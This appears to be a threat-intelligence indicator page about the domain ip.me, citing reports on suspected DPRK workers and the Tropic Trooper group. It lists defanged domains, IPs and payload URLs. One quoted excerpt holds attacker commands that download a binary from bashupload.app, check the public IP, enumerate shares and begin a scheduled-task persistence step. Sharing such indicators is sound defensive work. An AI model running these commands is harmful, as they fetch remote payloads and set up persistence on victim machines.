ip[.]meDomain
Reported by 2 independent sources · first reported by Zscaler ThreatLabz · last reported
Last reported 1 month ago
What the reports say
2 reports, newest first · the exact sentence from each-
Insights into Suspected DPRK Workers“2026-08-03T12:03:23 UTC: The user accessed ip[.]me directly to determine their public-facing IP address just minutes before joining a Zoom meeting.”
-
Tropic Trooper Pivots to AdaptixC2 and Custom Beacon Listener“…-kJL hxxps://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64 -o %localappdata%\microsoft\windows\Burn\v.zipcurl -s 'ip[.]me?t=1&m=2'curl hxxp://bashupload.app/zgel2a.bin -o v.zip & dircurl ip.me?t=1&m=2net view \\192.168.220.2schtasks /create /tn \M…”
Indicators reported together
named in the same reports- mictests[.]comin 1 report
- webcammictest[.]comin 1 report
- onlinemictest[.]comin 1 report
- hxxps://vdo[.]ninja/?push=hostin 1 report
- vdo[.]ninjain 1 report
- bashupload[.]appin 1 report
- below[.]postin 1 report
- confidence[.]inin 1 report
- 58.247.193[.]100in 1 report
- hxxp://bashupload[.]app/6e1lhccurlin 1 report
- hxxp://bashupload[.]app/zgel2a.binin 1 report
- 158.247.193[.]100in 1 report
- tunnel[.]postin 1 report
- tunnel[.]hostingin 1 report
- loader[.]inin 1 report
- 47.76.236[.]58in 1 report
- stg.lsmartv[.]comin 1 report
- hxxps://code.visualstudio[.]com/sha/download?build=stable&os=cli-win32-x64in 1 report
Copy these 18 indicators · defanged
Thanks — we review every report.